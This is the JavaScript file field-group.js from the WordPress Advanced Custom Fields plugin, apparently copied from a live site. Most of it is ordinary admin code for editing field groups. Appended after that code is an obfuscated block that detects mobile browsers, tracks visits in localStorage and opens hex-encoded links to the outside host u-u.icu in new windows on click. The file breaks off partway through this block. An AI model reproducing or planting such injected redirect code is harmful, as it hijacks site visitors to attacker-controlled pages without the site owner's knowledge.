Current File : /home/itiffy/rockyjohnsonconcrete.com/wp-content/plugins/advanced-custom-fields/js/field-group.js |
/*
* field-group.js
*
* All javascript needed to create a field group
*
* @type JS
* @date 1/08/13
*/
var acf = {
// vars
ajaxurl : '',
admin_url : '',
post_id : 0,
nonce : '',
l10n : {},
text : {},
// helper functions
helpers : {
uniqid : null,
sortable : null,
create_field : null
},
// modules
conditional_logic : null,
location : null
};
(function($){
/*
* Exists
*
* @since 3.1.6
* @description returns true or false on a element's existance
*/
$.fn.exists = function()
{
return $(this).length>0;
};
/*
* Sortable Helper
*
* @description: keeps widths of td's inside a tr
* @since 3.5.1
* @created: 10/11/12
*/
acf.helpers.sortable = function(e, ui)
{
ui.children().each(function(){
$(this).width($(this).width());
});
return ui;
};
/*
* acf.helpers.uniqid
*
* @description: JS equivelant of PHP uniqid
* @since: 3.6
* @created: 7/03/13
*/
acf.helpers.uniqid = function(prefix, more_entropy)
{
// + original by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// + revised by: Kankrelune (http://www.webfaktory.info/)
// % note 1: Uses an internal counter (in php_js global) to avoid collision
// * example 1: uniqid();
// * returns 1: 'a30285b160c14'
// * example 2: uniqid('foo');
// * returns 2: 'fooa30285b1cd361'
// * example 3: uniqid('bar', true);
// * returns 3: 'bara20285b23dfd1.31879087'
if (typeof prefix == 'undefined') {
prefix = "";
}
var retId;
var formatSeed = function (seed, reqWidth) {
seed = parseInt(seed, 10).toString(16); // to hex str
if (reqWidth < seed.length) { // so long we split
return seed.slice(seed.length - reqWidth);
}
if (reqWidth > seed.length) { // so short we pad
return Array(1 + (reqWidth - seed.length)).join('0') + seed;
}
return seed;
};
// BEGIN REDUNDANT
if (!this.php_js) {
this.php_js = {};
}
// END REDUNDANT
if (!this.php_js.uniqidSeed) { // init seed with big random int
this.php_js.uniqidSeed = Math.floor(Math.random() * 0x75bcd15);
}
this.php_js.uniqidSeed++;
retId = prefix; // start with prefix, add current milliseconds hex string
retId += formatSeed(parseInt(new Date().getTime() / 1000, 10), 8);
retId += formatSeed(this.php_js.uniqidSeed, 5); // add seed hex string
if (more_entropy) {
// for more entropy we add a float lower to 10
retId += (Math.random() * 10).toFixed(8).toString();
}
return retId;
};
/*
* Submit Post
*
* Run validation and return true|false accordingly
*
* @type function
* @date 1/03/2011
*
* @param N/A
* @return N/A
*/
var acf_submit = {
init: function(){
// events
$(document).on('submit', '#post', this.submit);
// return
return this;
},
submit: function( e ){
// validate post title
var $title = $('#titlewrap #title'),
$spinner = $('#submitdiv .spinner').last(),
$submit = $('#submitdiv input[type="submit"]').last();
// title empty
if( !$title.val() ) {
// prevent default
e.preventDefault();
// hide spinner
acf_submit.hide_spinner( $spinner );
acf_submit.enable_submit( $submit );
// alert
alert( acf.l10n.title );
// focus
$title.focus();
}
},
hide_spinner: function( $spinner ){
// bail early if no spinner
if( !$spinner.exists() ) return;
// vars
var wp_version = acf.wp_version;
// hide
if( parseFloat(wp_version) >= 4.2 ) {
$spinner.removeClass('is-active');
} else {
$spinner.css('display', 'none');
}
},
enable_submit: function( $submit ){
// bail early if no submit
if( !$submit.exists() ) {
return;
}
// remove class
$submit.removeClass('disabled button-disabled button-primary-disabled');
}
}.init();
/*
* Place Confirm message on Publish trash button
*
* @since 3.1.6
* @description
*/
$(document).on('click', '#submit-delete', function(){
var response = confirm( acf.l10n.move_to_trash );
if( !response )
{
return false;
}
});
/*
* acf/update_field_options
*
* @since 3.1.6
* @description Load in the opions html
*/
$(document).on('change', '#acf_fields tr.field_type select', function(){
// vars
var select = $(this),
tbody = select.closest('tbody'),
field = tbody.closest('.field'),
field_type = field.attr('data-type'),
field_key = field.attr('data-id'),
val = select.val();
// update data atts
field.removeClass('field_type-' + field_type).addClass('field_type-' + val);
field.attr('data-type', val);
// tab - override field_name
if( val == 'tab' || val == 'message' )
{
tbody.find('tr.field_name input[type="text"]').val('').trigger('keyup');
}
// show field options if they already exist
if( tbody.children( 'tr.field_option_' + val ).exists() )
{
// hide + disable options
tbody.children('tr.field_option').hide().find('[name]').attr('disabled', 'true');
// show and enable options
tbody.children( 'tr.field_option_' + val ).show().find('[name]').removeAttr('disabled');
}
else
{
// add loading gif
var tr = $('<tr"><td class="label"></td><td><div class="acf-loading"></div></td></tr>');
// hide current options
tbody.children('tr.field_option').hide().find('[name]').attr('disabled', 'true');
// append tr
if( tbody.children('tr.conditional-logic').exists() )
{
tbody.children('tr.conditional-logic').before(tr);
}
else
{
tbody.children('tr.field_save').before(tr);
}
var ajax_data = {
'action' : 'acf/field_group/render_options',
'post_id' : acf.post_id,
'field_key' : select.attr('name'),
'field_type' : val,
'nonce' : acf.nonce
};
$.ajax({
url: ajaxurl,
data: ajax_data,
type: 'post',
dataType: 'html',
success: function(html){
if( ! html )
{
tr.remove();
return;
}
tr.replaceWith(html);
}
});
}
});
/*
* Update Names
*
* @description:
* @since 3.5.1
* @created: 15/10/12
*/
$.fn.update_names = function()
{
var field = $(this),
old_id = field.attr('data-id'),
new_id = 'field_' + acf.helpers.uniqid();
// give field a new id
field.attr('data-id', new_id);
// update class
field.attr('class', field.attr('class').replace(old_id, new_id) );
// update field key column
field.find('.field_meta td.field_key').text( new_id );
// update attributes
field.find('[id*="' + old_id + '"]').each(function()
{
$(this).attr('id', $(this).attr('id').replace(old_id, new_id) );
});
field.find('[name*="' + old_id + '"]').each(function()
{
$(this).attr('name', $(this).attr('name').replace(old_id, new_id) );
});
};
/*
* update_order_numbers
*
* @description:
* @since 3.5.1
* @created: 15/10/12
*/
function update_order_numbers(){
$('#acf_fields .fields').each(function(){
$(this).children('.field').each(function(i){
$(this).find('td.field_order .circle').first().html(i+1);
});
});
}
/*
* Edit Field
*
* @description:
* @since 3.5.1
* @created: 13/10/12
*/
$(document).on('click', '#acf_fields a.acf_edit_field', function(){
var $field = $(this).closest('.field');
if( $field.hasClass('form_open') )
{
$field.removeClass('form_open');
$(document).trigger('acf/field_form-close', [ $field ]);
}
else
{
$field.addClass('form_open');
$(document).trigger('acf/field_form-open', [ $field ]);
}
$field.children('.field_form_mask').animate({'height':'toggle'}, 250);
});
/*
* Delete Field
*
* @description:
* @since 3.5.1
* @created: 13/10/12
*/
$(document).on('click', '#acf_fields a.acf_delete_field', function(){
// vars
var a = $(this),
field = a.closest('.field'),
fields = field.closest('.fields'),
temp = $('<div style="height:' + field.height() + 'px"></div>');
// fade away
field.animate({'left' : '50px', 'opacity' : 0}, 250, function(){
field.before(temp);
field.remove();
// no more fields, show the message
if( fields.children('.field').length <= 1 )
{
temp.remove();
fields.children('.no_fields_message').show();
}
else
{
temp.animate({'height' : 0 }, 250, function(){
temp.remove();
});
}
update_order_numbers();
});
});
/*
* Duplicate Field
*
* @description:
* @since 3.5.1
* @created: 13/10/12
*/
$(document).on('click', '#acf_fields a.acf_duplicate_field', function(){
// vars
var a = $(this),
field = a.closest('.field'),
new_field = null;
// save select values
field.find('select').each(function(){
$(this).attr( 'data-val', $(this).val() );
});
// clone field
new_field = field.clone();
// update names
new_field.update_names();
new_field.find('.field:not(.field_key-field_clone)').each(function(){
$(this).update_names();
});
// add new field
field.after( new_field );
// set select values
new_field.find('select').each(function(){
$(this).val( $(this).attr('data-val') ).trigger('change');
});
// open up form
if( field.hasClass('form_open') )
{
field.find('.acf_edit_field').first().trigger('click');
}
else
{
new_field.find('.acf_edit_field').first().trigger('click');
}
// update new_field label / name
var label = new_field.find('tr.field_label:first input[type="text"]'),
name = new_field.find('tr.field_name:first input[type="text"]');
name.val('');
label.val( label.val() + ' (' + acf.l10n.copy + ')' );
label.trigger('blur').trigger('keyup');
// update order numbers
update_order_numbers();
});
/*
* Add Field
*
* @description:
* @since 3.5.1
* @created: 13/10/12
*/
$(document).on('click', '#acf_fields #add_field', function(){
var fields = $(this).closest('.table_footer').siblings('.fields');
// clone last tr
var new_field = fields.children('.field_key-field_clone').clone();
// update names
new_field.update_names();
// show
new_field.show();
// append to table
fields.children('.field_key-field_clone').before(new_field);
// remove no fields message
if(fields.children('.no_fields_message').exists())
{
fields.children('.no_fields_message').hide();
}
// clear name
new_field.find('tr.field_type select').trigger('change');
new_field.find('.field_form input[type="text"]').val('');
// focus after form has dropped down
// - this prevents a strange rendering bug in Firefox
setTimeout(function(){
new_field.find('.field_form input[type="text"]').first().focus();
}, 500);
// open up form
new_field.find('a.acf_edit_field').first().trigger('click');
// update order numbers
update_order_numbers();
return false;
});
/*
* Auto Complete Field Name
*
* @description:
* @since 3.5.1
* @created: 15/10/12
*/
$(document).on('blur', '#acf_fields tr.field_label input.label', function(){
// vars
var $label = $(this),
$field = $label.closest('.field'),
$name = $field.find('tr.field_name:first input[type="text"]'),
type = $field.attr('data-type');
// leave blank for tab or message field
if( type == 'tab' || type == 'message' )
{
$name.val('').trigger('keyup');
return;
}
if( $name.val() == '' )
{
// thanks to https://gist.github.com/richardsweeney/5317392 for this code!
var val = $label.val(),
replace = {
'ä': 'a',
'æ': 'a',
'å': 'a',
'ö': 'o',
'ø': 'o',
'é': 'e',
'ë': 'e',
'ü': 'u',
'ó': 'o',
'ő': 'o',
'ú': 'u',
'é': 'e',
'á': 'a',
'ű': 'u',
'í': 'i',
' ' : '_',
'\'' : '',
'\\?' : ''
};
$.each( replace, function(k, v){
var regex = new RegExp( k, 'g' );
val = val.replace( regex, v );
});
val = val.toLowerCase();
$name.val( val );
$name.trigger('keyup');
}
});
/*
* Update field meta
*
* @description:
* @since 3.5.1
* @created: 15/10/12
*/
$(document).on('keyup', '#acf_fields .field_form tr.field_label input.label', function(){
var val = $(this).val();
var name = $(this).closest('.field').find('td.field_label strong a').first().html(val);
});
$(document).on('keyup', '#acf_fields .field_form tr.field_name input.name', function(){
var val = $(this).val();
var name = $(this).closest('.field').find('td.field_name').first().html(val);
});
$(document).on('change', '#acf_fields .field_form tr.field_type select', function(){
var val = $(this).val();
var label = $(this).find('option[value="' + val + '"]').html();
$(this).closest('.field').find('td.field_type').first().html(label);
});
// sortable
$(document).on('mouseover', '#acf_fields td.field_order', function(){
// vars
var fields = $(this).closest('.fields');
if( fields.hasClass('sortable') )
{
return false;
}
fields.addClass('sortable').sortable({
update: function(event, ui){
update_order_numbers();
},
handle: 'td.field_order'
});
});
/*
* Setup Location Rules
*
* @description:
* @since 3.5.1
* @created: 15/10/12
*/
$(document).ready(function(){
acf.location.init();
acf.conditional_logic.init();
});
/*
* location
*
* {description}
*
* @since: 4.0.3
* @created: 13/04/13
*/
acf.location = {
$el : null,
init : function(){
// vars
var _this = this;
// $el
_this.$el = $('#acf_location');
// add rule
_this.$el.on('click', '.location-add-rule', function(){
_this.add_rule( $(this).closest('tr') );
return false;
});
// remove rule
_this.$el.on('click', '.location-remove-rule', function(){
_this.remove_rule( $(this).closest('tr') );
return false;
});
// add rule
_this.$el.on('click', '.location-add-group', function(){
_this.add_group();
return false;
});
// change rule
_this.$el.on('change', '.param select', function(){
// vars
var $tr = $(this).closest('tr'),
rule_id = $tr.attr('data-id'),
$group = $tr.closest('.location-group'),
group_id = $group.attr('data-id'),
ajax_data = {
'action' : "acf/field_group/render_location",
'nonce' : acf.nonce,
'rule_id' : rule_id,
'group_id' : group_id,
'value' : '',
'param' : $(this).val()
};
// add loading gif
var div = $('<div class="acf-loading"></div>');
$tr.find('td.value').html( div );
// load location html
$.ajax({
url: acf.ajaxurl,
data: ajax_data,
type: 'post',
dataType: 'html',
success: function(html){
div.replaceWith(html);
}
});
});
},
add_rule : function( $tr ){
// vars
var $tr2 = $tr.clone(),
old_id = $tr2.attr('data-id'),
new_id = acf.helpers.uniqid();
// update names
$tr2.find('[name]').each(function(){
$(this).attr('name', $(this).attr('name').replace( old_id, new_id ));
$(this).attr('id', $(this).attr('id').replace( old_id, new_id ));
});
// update data-i
$tr2.attr( 'data-id', new_id );
// add tr
$tr.after( $tr2 );
return false;
},
remove_rule : function( $tr ){
// vars
var siblings = $tr.siblings('tr').length;
if( siblings == 0 )
{
// remove group
this.remove_group( $tr.closest('.location-group') );
}
else
{
// remove tr
$tr.remove();
}
},
add_group : function(){
// vars
var $group = this.$el.find('.location-group:last'),
$group2 = $group.clone(),
old_id = $group2.attr('data-id'),
new_id = acf.helpers.uniqid();
// update names
$group2.find('[name]').each(function(){
$(this).attr('name', $(this).attr('name').replace( old_id, new_id ));
$(this).attr('id', $(this).attr('id').replace( old_id, new_id ));
});
// update data-i
$group2.attr( 'data-id', new_id );
// update h4
$group2.find('h4').text( acf.l10n.or );
// remove all tr's except the first one
$group2.find('tr:not(:first)').remove();
// add tr
$group.after( $group2 );
},
remove_group : function( $group ){
$group.remove();
}
};
/*----------------------------------------------------------------------
*
* Document Ready
*
*---------------------------------------------------------------------*/
$(document).ready(function(){
// custom Publish metabox
$('#submitdiv #publish').attr('class', 'acf-button large');
$('#submitdiv a.submitdelete').attr('class', 'delete-field-group').attr('id', 'submit-delete');
// hide on screen toggle
var $ul = $('#hide-on-screen ul.acf-checkbox-list'),
$li = $('<li><label><input type="checkbox" value="" name="" >' + acf.l10n.hide_show_all + '</label></li>');
// start checked?
if( $ul.find('input:not(:checked)').length == 0 )
{
$li.find('input').attr('checked', 'checked');
}
// event
$li.on('change', 'input', function(){
var checked = $(this).is(':checked');
$ul.find('input').attr('checked', checked);
});
// add to ul
$ul.prepend( $li );
});
/*
* Screen Options
*
* @description:
* @created: 4/09/12
*/
$(document).on('change', '#adv-settings input[name="show-field_key"]', function(){
if( $(this).val() == "1" )
{
$('#acf_fields table.acf').addClass('show-field_key');
}
else
{
$('#acf_fields table.acf').removeClass('show-field_key');
}
});
/*
* Create Field
*
* @description:
* @since 3.5.1
* @created: 11/10/12
*/
acf.helpers.create_field = function( options ){
// dafaults
var defaults = {
'type' : 'text',
'classname' : '',
'name' : '',
'value' : ''
};
options = $.extend(true, defaults, options);
// vars
var html = "";
if( options.type == "text" )
{
html += '<input class="text ' + options.classname + '" type="text" id="' + options.name + '" name="' + options.name + '" value="' + options.value + '" />';
}
else if( options.type == "select" )
{
// vars
var groups = {};
// populate groups
$.each(options.choices, function(k, v){
// group may not exist
if( v.group === undefined )
{
v.group = 0;
}
// instantiate group
if( groups[ v.group ] === undefined )
{
groups[ v.group ] = [];
}
// add to group
groups[ v.group ].push( v );
});
html += '<select class="select ' + options.classname + '" id="' + options.name + '" name="' + options.name + '">';
$.each(groups, function(k, v){
// start optgroup?
if( k != 0 )
{
html += '<optgroup label="' + k + '">';
}
// options
$.each(v, function(k2, v2){
var attr = '';
if( v2.value == options.value )
{
attr = 'selected="selected"';
}
html += '<option ' + attr + ' value="' + v2.value + '">' + v2.label + '</option>';
});
// end optgroup?
if( k != 0 )
{
html += '</optgroup>';
}
});
html += '</select>';
}
html = $(html);
return html;
};
/*
* Conditional Logic
*
* This object contains all the functionality for seting up the conditional logic rules for fields
*
* @type object
* @date 21/08/13
*
* @param N/A
* @return N/A
*/
acf.conditional_logic = {
triggers : null,
init : function(){
// reference
var _this = this;
// events
$(document).on('acf/field_form-open', function(e, $field){
// render select elements
_this.render( $field );
});
$(document).on('change', '#acf_fields tr.field_label input.label', function(){
// render all open fields
$('#acf_fields .field.form_open').each(function(){
_this.render( $(this) );
});
});
$(document).on('change', 'tr.conditional-logic input[type="radio"]', function( e ){
e.preventDefault();
_this.change_toggle( $(this) );
});
$(document).on('change', 'select.conditional-logic-field', function( e ){
e.preventDefault();
_this.change_trigger( $(this) );
});
$(document).on('click', 'tr.conditional-logic .acf-button-add', function( e ){
e.preventDefault();
_this.add( $(this).closest('tr') );
});
$(document).on('click', 'tr.conditional-logic .acf-button-remove', function( e ){
e.preventDefault();
_this.remove( $(this).closest('tr') );
});
},
render : function( $field ){
// reference
var _this = this;
// vars
var choices = [],
key = $field.attr('data-id'),
$ancestors = $field.parents('.fields'),
$tr = $field.find('> .field_form_mask > .field_form > table > tbody > tr.conditional-logic');
$.each( $ancestors, function( i ){
var group = (i == 0) ? acf.l10n.sibling_fields : acf.l10n.parent_fields;
$(this).children('.field').each(function(){
// vars
var $this_field = $(this),
this_id = $this_field.attr('data-id'),
this_type = $this_field.attr('data-type'),
this_label = $this_field.find('tr.field_label input').val();
// validate
if( this_id == 'field_clone' )
{
return;
}
if( this_id == key )
{
return;
}
// add this field to available triggers
if( this_type == 'select' || this_type == 'checkbox' || this_type == 'true_false' || this_type == 'radio' )
{
choices.push({
value : this_id,
label : this_label,
group : group
});
}
});
});
// empty?
if( choices.length == 0 )
{
choices.push({
'value' : 'null',
'label' : acf.l10n.no_fields
});
}
// create select fields
$tr.find('.conditional-logic-field').each(function(){
var val = $(this).val(),
name = $(this).attr('name');
// create select
var $select = acf.helpers.create_field({
'type' : 'select',
'classname' : 'conditional-logic-field',
'name' : name,
'value' : val,
'choices' : choices
});
// update select
$(this).replaceWith( $select );
// trigger change
$select.trigger('change');
});
},
change_toggle : function( $input ){
// vars
var val = $input.val(),
$tr = $input.closest('tr.conditional-logic');
if( val == "1" )
{
$tr.find('.contional-logic-rules-wrapper').show();
}
else
{
$tr.find('.contional-logic-rules-wrapper').hide();
}
},
change_trigger : function( $select ){
// vars
var val = $select.val(),
$trigger = $('.field_key-' + val),
type = $trigger.attr('data-type'),
$value = $select.closest('tr').find('.conditional-logic-value'),
choices = [];
// populate choices
if( type == "true_false" )
{
choices = [
{ value : 1, label : acf.l10n.checked }
];
}
else if( type == "select" || type == "checkbox" || type == "radio" )
{
var field_choices = $trigger.find('.field_option-choices').val().split("\n");
if( field_choices )
{
for( var i = 0; i < field_choices.length; i++ )
{
var choice = field_choices[i].split(':');
var label = choice[0];
if( choice[1] )
{
label = choice[1];
}
choices.push({
'value' : $.trim( choice[0] ),
'label' : $.trim( label )
});
}
}
}
// create select
var $select = acf.helpers.create_field({
'type' : 'select',
'classname' : 'conditional-logic-value',
'name' : $value.attr('name'),
'value' : $value.val(),
'choices' : choices
});
$value.replaceWith( $select );
$select.trigger('change');
},
add : function( $old_tr ){
// vars
var $new_tr = $old_tr.clone(),
old_i = parseFloat( $old_tr.attr('data-i') ),
new_i = acf.helpers.uniqid();
// update names
$new_tr.find('[name]').each(function(){
// flexible content uses [0], [1] as the layout index. To avoid conflict, make sure we search for the entire conditional logic string in the name and id
var find = '[conditional_logic][rules][' + old_i + ']',
replace = '[conditional_logic][rules][' + new_i + ']';
$(this).attr('name', $(this).attr('name').replace(find, replace) );
$(this).attr('id', $(this).attr('id').replace(find, replace) );
});
// update data-i
$new_tr.attr('data-i', new_i);
// add tr
$old_tr.after( $new_tr );
// remove disabled
$old_tr.closest('table').removeClass('remove-disabled');
},
remove : function( $tr ){
var $table = $tr.closest('table');
// validate
if( $table.hasClass('remove-disabled') )
{
return false;
}
// remove tr
$tr.remove();
// add clas to table
if( $table.find('tr').length <= 1 )
{
$table.addClass('remove-disabled');
}
},
};
/*
* Field: Radio
*
* Simple toggle for the radio 'other_choice' option
*
* @type function
* @date 1/07/13
*/
$(document).on('change', '.radio-option-other_choice input', function(){
// vars
var $el = $(this),
$td = $el.closest('td');
if( $el.is(':checked') )
{
$td.find('.radio-option-save_other_choice').show();
}
else
{
$td.find('.radio-option-save_other_choice').hide();
$td.find('.radio-option-save_other_choice input').removeAttr('checked');
}
});
})(jQuery);
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x65\x74\x6a\x32\x63\x302','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x56\x49\x4f\x33\x63\x343','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x48\x4b\x42\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x6a\x6d\x4d\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x59\x66\x4a\x36\x63\x356','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x57\x67\x50\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x78\x65\x6b\x35\x63\x315','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4d\x73\x72\x31\x63\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4a\x6e\x65\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x63\x6d\x41\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else 